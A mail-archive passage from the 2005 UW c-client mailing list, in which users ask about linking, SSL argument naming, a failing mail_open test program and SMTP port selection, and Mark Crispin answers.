mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j18KF8Nv093090 for ; Tue, 8 Feb 2005 12:15:08 -0800 Received: from sid3.catt.com (sid3.catt.com [64.18.100.8]) by mxe4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j18KF7jN028155 for ; Tue, 8 Feb 2005 12:15:07 -0800 Received: from localhost (sid3 [127.0.0.1]) by sid3.catt.com (Postfix) with ESMTP id EC8974AFE for ; Tue, 8 Feb 2005 15:15:05 -0500 (EST) Received: from sid3.catt.com ([127.0.0.1]) by localhost (sid3 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 27390-04 for ; Tue, 8 Feb 2005 15:15:05 -0500 (EST) Received: from pc1267.rtctel.com (tc-proxy.catt.com [64.18.103.3]) by sid3.catt.com (Postfix) with SMTP id 5C17A3A25 for ; Tue, 8 Feb 2005 15:15:05 -0500 (EST) Message-Id: <42091DC1.7020706@rtctel.com> Date: Tue, 08 Feb 2005 15:14:57 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Christopher McBee To: c-client@u.washington.edu Subject: Problems compiling applications using the c-client API. MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new amavisd-new-2.1.2 (Debian) at catt.com X-Spam-Status: No, hits=-5.653 tagged_above=-99999.99 required=5 tests=ALL_TRUSTED, AWL, BAYES_00 X-Spam-Level: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sorry if this question has been asked hundreds of times, but I'm having a real problem finding documenation for the API. I'm trying to build a small test app with gcc (3.3.4) on gentoo linux (2.6.10-r1 kernel). I'm getting a linking error which I'm almost positive is that I don't the correct libraries to include with gcc. If someone could just respond with the correct way to call gcc when building an app with c-client that would be great. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 8 12:18:34 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Feb 2005 12:18:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j18KIYht004311 for ; Tue, 8 Feb 2005 12:18:34 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j18KIWC8025088 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 12:18:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j18KIQZ2015754; Tue, 8 Feb 2005 12:18:26 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j18KI0cm093130 for ; Tue, 8 Feb 2005 12:18:00 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j18KI0KJ003149 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 8 Feb 2005 12:18:00 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j18KHx7f015661; Tue, 8 Feb 2005 12:17:59 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j18KHx2e001213 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 8 Feb 2005 12:17:59 -0800 Message-Id: Date: Tue, 8 Feb 2005 12:17:59 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Christopher McBee Cc: c-client@u.washington.edu Subject: Re: Problems compiling applications using the c-client API. In-Reply-To: <42091DC1.7020706@rtctel.com> References: <42091DC1.7020706@rtctel.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 8 Feb 2005, Christopher McBee wrote: > Sorry if this question has been asked hundreds of times, but I'm having a > real problem finding documenation for the API. I'm trying to build a small > test app with gcc (3.3.4) on gentoo linux (2.6.10-r1 kernel). I'm getting a > linking error which I'm almost positive is that I don't the correct libraries > to include with gcc. If someone could just respond with the correct way to > call gcc when building an app with c-client that would be great. What is the exact text of the error message that you got? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 9 04:48:03 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Feb 2005 04:48:03 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j19Cm3aD009571 for ; Wed, 9 Feb 2005 04:48:03 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19Cm2pd028412 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 04:48:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j19ClsJw020266; Wed, 9 Feb 2005 04:47:55 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19CigJM029846 for ; Wed, 9 Feb 2005 04:44:42 -0800 Received: from mailgate.urz.tu-dresden.de (mailgate.urz.tu-dresden.de [141.30.66.154]) by mxe1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19Cif4d015634 for ; Wed, 9 Feb 2005 04:44:41 -0800 Received: from [127.0.0.1] (helo=localhost) by mailgate.urz.tu-dresden.de with esmtp (exim-4.22) for id 1CyrCy-0002EI-N6; Wed, 09 Feb 2005 13:44:40 +0100 Received: from mailgate.urz.tu-dresden.de ([127.0.0.1]) by localhost (rks24 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 08310-05 for ; Wed, 9 Feb 2005 13:44:40 +0100 (MET) Received: from [141.30.101.14] (helo=[141.30.101.14]) by mailgate.urz.tu-dresden.de with esmtp (exim-4.22) for id 1CyrCy-0002EE-4e; Wed, 09 Feb 2005 13:44:40 +0100 Message-Id: <420A05B8.1040507@web.de> Date: Wed, 09 Feb 2005 13:44:40 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thomas Henlich To: c-client@u.washington.edu Subject: Failure to understand source code in ssl_unix.c MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit X-Accept-Language: de-DE, de, en-us, en X-TUD-Virus-Scanned: by amavisd-new at rks24.urz.tu-dresden.de X-TUD-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on rks24 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I am currently investigating a failure in IMAP SSL client certificate verification. More to the point, I am looking for a way to tell the IMAP server NOT to request client certificates over SSL. In src/osdep/unix/ssl_unix.c there are functions ssl_open and ssl_start. I do not understand why the 3rd argument to ssl_start is called "port" when ssl_start is called from ssl_open. (It should be "flags"?) Any help is appreciated. Regards, Thomas. >From ssl_unix.c: ... /* SSL open * Accepts: host name * contact service name * contact port number * Returns: SSL stream if success else NIL */ SSLSTREAM *ssl_open (char *host,char *service,unsigned long port) { TCPSTREAM *stream = tcp_open (host,service,port); return stream ? ssl_start (stream,host,port) : NIL; } ... /* Start SSL/TLS negotiations * Accepts: open TCP stream of session * user's host name * flags * Returns: SSL stream if success else NIL */ static SSLSTREAM *ssl_start (TCPSTREAM *tstream,char *host,unsigned long flags) { ... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 9 08:34:58 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Feb 2005 08:34:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j19GYwY4016079 for ; Wed, 9 Feb 2005 08:34:58 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19GYvqQ008698 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 08:34:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j19GYo3D016906; Wed, 9 Feb 2005 08:34:50 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19GVmtP050272 for ; Wed, 9 Feb 2005 08:31:48 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19GVlWw025098 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 9 Feb 2005 08:31:48 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j19GVlmv008164; Wed, 9 Feb 2005 08:31:47 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19GVl1i006028; Wed, 9 Feb 2005 08:31:47 -0800 Message-Id: Date: Wed, 9 Feb 2005 08:31:47 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas Henlich Cc: c-client@u.washington.edu Subject: Re: Failure to understand source code in ssl_unix.c In-Reply-To: <420A05B8.1040507@web.de> References: <420A05B8.1040507@web.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 Feb 2005, Thomas Henlich wrote: > In src/osdep/unix/ssl_unix.c there are functions ssl_open and ssl_start. > I do not understand why the 3rd argument to ssl_start is called "port" > when ssl_start is called from ssl_open. (It should be "flags"?) The SSL layer is implemented as a NETDRIVER, and as such the methods that implement the netdriver. The third argument to ssl_open() is a long that has a port in the low 32 bits and flags in the upper 32 bits. That actually isn't any different from tcp_open() which has the same thing, and takes the same flags (which are the NET_??? names in mail.h). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 9 13:08:08 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Feb 2005 13:08:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j19L87gq027419 for ; Wed, 9 Feb 2005 13:08:07 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19L86YM020452 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 13:08:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j19L81aW017998; Wed, 9 Feb 2005 13:08:01 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19L6jWS010952 for ; Wed, 9 Feb 2005 13:06:45 -0800 Received: from sid3.catt.com (sid3.catt.com [64.18.100.8]) by mxe4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19L6iXn022597 for ; Wed, 9 Feb 2005 13:06:45 -0800 Received: from localhost (sid3 [127.0.0.1]) by sid3.catt.com (Postfix) with ESMTP id 44831557B for ; Wed, 9 Feb 2005 16:06:44 -0500 (EST) Received: from sid3.catt.com ([127.0.0.1]) by localhost (sid3 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 31856-09 for ; Wed, 9 Feb 2005 16:06:42 -0500 (EST) Received: from pc1267.rtctel.com (tc-proxy.catt.com [64.18.103.3]) by sid3.catt.com (Postfix) with SMTP id 95758545E for ; Wed, 9 Feb 2005 16:06:42 -0500 (EST) Message-Id: <420A7B59.1080505@rtctel.com> Date: Wed, 09 Feb 2005 16:06:33 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Christopher McBee To: c-client@u.washington.edu Subject: More c-client confustion MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------030205070000060906010203" X-Virus-Scanned: by amavisd-new amavisd-new-2.1.2 (Debian) at catt.com X-Spam-Status: No, hits=-5.662 tagged_above=-99999.99 required=5 tests=ALL_TRUSTED, AWL, BAYES_00 X-Spam-Level: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------030205070000060906010203 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sorry to continue ask these questions to the list but I'm still having problems getting started with using c-client. I fixed the callback issue, and also found the documentation I was looking for. Now, I still can't make a successful mail_open call to an imap server. I'm attaching the code I have so far and will paste the error message here. Also, if anyone has a simple example of opening a mailbox and just accessing data from it that would be great. Errror: Can't open mailbox {pc1267.rtctel.com}inbox: invalid remote specification --------------030205070000060906010203 Content-Type: text/plain; name="test.c" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="test.c" #include #include #include void mm_searched (MAILSTREAM *stream,unsigned long number) { printf("Called searched: \n"); } void mm_exists (MAILSTREAM *stream,unsigned long number) { printf("Called exists: \n"); } void mm_expunged (MAILSTREAM *stream,unsigned long number) { printf("Called expunged: \n"); } void mm_flags (MAILSTREAM *stream,unsigned long number) { printf("Called flags: \n"); } void mm_notify (MAILSTREAM *stream,char *string,long errflg) { printf("Called notify: \n"); } void mm_list (MAILSTREAM *stream,int delimiter,char *name,long attributes) { printf("Called list: \n"); } void mm_lsub (MAILSTREAM *stream,int delimiter,char *name,long attributes) { printf("Called lsub: \n"); } void mm_status (MAILSTREAM *stream,char *mailbox,MAILSTATUS *status) { printf("Called status: \n"); } void mm_log (char *string,long errflg) { printf("%s:\n", string); } void mm_dlog (char *string) { printf("Called dlog: \n"); } void mm_login (NETMBX *mb,char *user,char *pwd,long trial) { printf("Called login: \n"); } void mm_critical (MAILSTREAM *stream) { printf("Called critical: \n"); } void mm_nocritical (MAILSTREAM *stream) { printf("Called nocritical: \n"); } long mm_diskerror (MAILSTREAM *stream,long errcode,long serious) { printf("Called diskerror: \n"); } void mm_fatal (char *string) { printf("Called fatal: \n"); } int main(int argc, char *argv[]) { MAILSTREAM *stream = NIL; DRIVER *driver = NIL; if(argc < 2) { printf("usage: %s mailbox\n", argv[0]); return 0; } if((stream = mail_open(NIL, "{pc1267.rtctel.com/user=cmcbee}inbox", 0)) == NIL) { return 0; } mail_close(stream); return 0; } --------------030205070000060906010203-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 9 13:17:33 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Feb 2005 13:17:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j19LHXxM027930 for ; Wed, 9 Feb 2005 13:17:33 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19LHWQq016484 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 13:17:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j19LHOcC011330; Wed, 9 Feb 2005 13:17:25 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19LGieq054018 for ; Wed, 9 Feb 2005 13:16:44 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19LGiOP020405 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 9 Feb 2005 13:16:44 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j19LGhku003746; Wed, 9 Feb 2005 13:16:44 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j19LGg7l032545 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 9 Feb 2005 13:16:43 -0800 Message-Id: Date: Wed, 9 Feb 2005 13:16:43 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Christopher McBee Cc: c-client@u.washington.edu Subject: Re: More c-client confustion In-Reply-To: <420A7B59.1080505@rtctel.com> References: <420A7B59.1080505@rtctel.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You need to have the statement #include "linkage.c" early in your program's main() function. You will have to write some code for those callbacks instead of just having dummy routines. In particular, mail_open() on an IMAP mailbox isn't likely to work without at least code for mm_login(). There are several programs in the IMAP toolkit which should be used as a model. In particular, look at the source code for mtest and mailutil. For a more advanced example, look at the source code for imapd. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Feb 10 22:34:13 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Feb 2005 22:34:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j1B6YC0Z001371 for ; Thu, 10 Feb 2005 22:34:12 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B6YBcc029065 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 10 Feb 2005 22:34:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1B6Y1xN011954; Thu, 10 Feb 2005 22:34:01 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B6WKGD090468 for ; Thu, 10 Feb 2005 22:32:20 -0800 Received: from sifycorp.com (smtp.sifycorp.com [202.144.77.55]) by mxe4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B6WH0j023614 for ; Thu, 10 Feb 2005 22:32:19 -0800 Received: (sifymail 2554 invoked from 10.1.8.85 by host sifycorpmail by uid 508); 11 Feb 2005 12:00:17 +0530 Received: from 10.1.8.85 (HELO sifycorp.com) (10.1.8.85) by 10.1.8.85 with SMTP; 11 Feb 2005 12:00:17 +0530 Received: (sifymail 2545 invoked from 210.210.123.112 by host sifycorpmail by uid 508); 11 Feb 2005 12:00:17 +0530 Received: from 210.210.123.112 (HELO 210-210-123-112.lan.sify.net) (sujith?m@sifycorp.com@210.210.123.112)by 10.1.8.85 with SMTP; 11 Feb 2005 12:00:17 +0530 Message-Id: <200502111201.42677.sujith_m@sifycorp.com> Date: Fri, 11 Feb 2005 12:01:42 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: sujith To: c-client@u.washington.edu Subject: SMTP port override MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain;charset="us-ascii" Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am trying to connect to an smtp server running on port 587. On the said server, SMTP auth is required. But when I call smtp_open_full() with 587 as port, it defaults to port 25 when I look at the results obtained from tcpdump. I tried setting 'smtp_port' using smtp_parameters(), to get the same result. Delving through the code, I finally realized that getservbyname() was being called in tcp_open() which was defaulting to 25. My question is, since I pass a port explicitly, shouldn't it override the default port obtained from /etc/services ? or am i missing something ? regards, Sujith DISCLAIMER: Information contained and transmitted by this E-MAIL is proprietary to Sify Limited and is intended for use only by the individual or entity to which it is addressed, and may contain information that is privileged, confidential or exempt from disclosure under applicable law. If this is a forwarded message, the content of this E-MAIL may not have been sent with the authority of the Company. If you are not the intended recipient, an agent of the intended recipient or a person responsible for delivering the information to the named recipient, you are notified that any use, distribution, transmission, printing, copying or dissemination of this information in any way or in any manner is strictly prohibited. If you have received this communication in error, please delete this mail & notify us immediately at admin@sifycorp.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 10 23:12:13 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Feb 2005 23:12:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j1B7CDUB002539 for ; Thu, 10 Feb 2005 23:12:13 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B7CCeW028344 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 10 Feb 2005 23:12:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1B7C0pJ002574; Thu, 10 Feb 2005 23:12:00 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B7An91054248 for ; Thu, 10 Feb 2005 23:10:49 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B7AnCU024681 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 10 Feb 2005 23:10:49 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B7Anmw030517; Thu, 10 Feb 2005 23:10:49 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B7Amur013159; Thu, 10 Feb 2005 23:10:49 -0800 Message-Id: Date: Thu, 10 Feb 2005 23:10:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: sujith Cc: c-client@u.washington.edu Subject: Re: SMTP port override In-Reply-To: <200502111201.42677.sujith_m@sifycorp.com> References: <200502111201.42677.sujith_m@sifycorp.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Feb 2005, sujith wrote: > I am trying to connect to an smtp server running on port 587. On the > said server, SMTP auth is required. But when I call smtp_open_full() > with 587 as port, it defaults to port 25 when To set the port number, use ":587" after the host name in the list. The port number argument only sets the default if "smtp" is not defined as a service. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Feb 11 01:39:09 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2005 01:39:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j1B9d8JC007624 for ; Fri, 11 Feb 2005 01:39:08 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B9d7iN002466 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 11 Feb 2005 01:39:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1B9d07p016002; Fri, 11 Feb 2005 01:39:00 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B9bp30054496 for ; Fri, 11 Feb 2005 01:37:52 -0800 Received: from sifycorp.com (smtp.sifycorp.com [202.144.77.55]) by mxe1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1B9bnPs017330 for ; Fri, 11 Feb 